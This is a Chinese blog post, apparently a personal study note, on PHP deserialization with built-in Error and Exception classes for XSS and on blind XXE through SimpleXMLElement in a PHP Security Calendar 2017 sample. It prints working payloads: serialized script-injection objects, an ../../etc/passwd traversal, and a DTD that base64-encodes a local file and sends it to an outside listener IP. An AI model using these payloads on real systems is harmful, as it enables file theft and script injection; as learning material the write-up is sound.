PHP反序列化和XXE的学习


前言

最近在学习的时候看了一个师傅的博客,里面提到的知识点可以扩大我们的攻击面,这里记录一下自己对这些知识点的理解和运用


反序列化

这和我们平时遇到的反序列化利用不同,在不能使用phar协议进行反序列化的时候,通常我们挖掘反序列化POP链时的需要的条件:

  1. 存在可控的反序列化参数
  2. 程序中存在可用的类并且存在wakeup()destruct()魔法函数
  3. 该类在魔法函数中能否在当前调用中触发
  • 如果当前程序中不存在我们可用的类,那我们的POP链就断了。

PHP可用的反序列化原生类

  1. Error
    Error类就是php的一个内置类用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,原因是该类存在一个__toString方法,我们来复习一下__toString方法。

__toString()

__toString():当一个对象被当作一个字符串使用。此方法必须返回一个字符串,否则将发出一条E_RECOVERABLE_ERROR级别的致命错误。

当一个对象被当作一个字符串使用时候会触发。

  • 由于php的语言特性,php一些函数会自动完成类型转换,下面是__toString()方法的触发条件
  1. echo (
    obj)/print(obj) / print(

    obj)/print(obj) 打印时会触发

  2. 反序列化对象与字符串连接时
  3. 反序列化对象参与格式化字符串时
  4. 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型
  5. 反序列化对象参与格式化SQL语句,绑定参数时
  6. 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
  7. 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
  8. 反序列化的对象作为 class_exists() 的参数的时候
    所以结果很显然了,我们写一个demo来测试一下是否能触发XSS,就拿我上篇laravel反序列化的demo来测试一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
 
namespace App\Http\Controllers\Test;
 
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
 
 
class TestController extends Controller
{
    public function Test()
    {   //test unserialize
        $code = $_GET['c'];
        unserialize($code);
        echo $code;
       
    }
}
  • POC
1
2
$a = new Error("<script>alert(1)</script>");
echo urlencode(serialize($a));

可以看到成功弹窗
在这里插入图片描述
2. Exception
这个类利用的方式和原理和Error类一样,不同是它适用于PHP5和PHP7,所以更好用

  • POC
1
2
$a = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($a));

弹窗成功
在这里插入图片描述

XXE

下面的代码来源于PHP SECURITY CALENDAR 2017

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
class HomeController
{
    private $template;
    private $variables;


    public function __construct($template, $variables)
    {

        $this->template = $template;
        $this->variables = $variables;
    }

    public function render()
    {
        if ($this->variables['new']) {
            echo 'controller rendering new response';
        } else {
            echo 'controller rendering old response';
        }
    }
}


function __autoload($className)
{

    include $className;
}

$controllerName = $_GET['c']; //HomeController
$data = $_GET['d'];

if (class_exists($controllerName)) {
    $controller = new $controllerName($data['t'], $data['v']);
    $controller->render();
} else {
    echo 'There is no page with this name';
}

这个代码存在两种漏洞,第一种是任意文件读取,第二个就是盲打XXE。

  1. 任意文件读取
    这个漏洞的触发点在class_exists,我们来看php手册如何解释这个函数
    在这里插入图片描述
    可以看到该函数存在2个参数,第一个是要检查的类,第二个参数autoload决定是否默认调用 __autoload。可以看到默认是True

这个漏洞只能在php5.3之下利用

  • 变量$controllerName可控,进入if判断我们传入的类是否存在,不存在则调用__autoload尝试加载,如果我们传入../../../../etc/passwd,就造成了任意文件读取
    在这里插入图片描述
    由于我这里没有这么低版本的环境,就没有测试下去了(大于php5.3版本传入类名包含./就会自动跳出)
  1. XXE
    这里我们利用到了PHP的一个原生类SimpleXMLElement
  • 首先看源代码,漏洞触发点是在$controller = new $controllerName($data['t'], $data['v']);实例化对象这里,这里用到了可变变量,所以我们new一个任意的对象。
  • 接下来看原生类SimpleXMLElement的构造方法
    在这里插入图片描述
  • data:格式正确的XML字符串,当参数data_is_urlTrue时,传入一个URL字符串
  • options:(可选)用于指定其他Libxml参数。

思路就是传入一个SimpleXMLElement类进行实例化,当XML外部实体可控,就造成XXE,源码没有echo等函数回显,所以我们利用盲打XXE

过程

  • 首先我们在在本地上传一个test2.dtd文件
1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Windows/system.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://10.3.131.118:1111?p=%file;'>">

这里我们用到了参数实体,顺便写一下两种实体的区别

  1. 通用实体
    &实体名;,引用的实体(例如上面的&xxe;),他在DTD 中定义,在 XML 文档中引用
1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ...
</updateProfile>
  1. 参数实体:
    1. 使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用%实体名; 引用
    2. 只有在 DTD 文件中,参数实体的声明才能引用其他实体
    3. 和通用实体一样,参数实体也可以外部引用
1
2
3
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://localhost/test.dtd">
%an-element; %remote-dtd;

参数实体在我们 Blind XXE 中起到了至关重要的作用

  • 接下来我们来构造POC
    参数c是我们要实例化的类:c=SimpleXMLElement
    构造函数存在2个参数,第一个当然是data,第二个是options;options这里我们选择LIBXML_NOENT,预设值为2
    在这里插入图片描述
1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://10.3.131.118/test2.dtd">
%remote;%int;%send;

接下来在本地用NC开启监听,不出意外我们会收到请求
在这里插入图片描述
也可以将dtd中的端口改为Web端口,然后再apache查看日志即可

最后

其实还有一部分知识点没有写完,先在这里留个坑好了,过几天补充剩下的。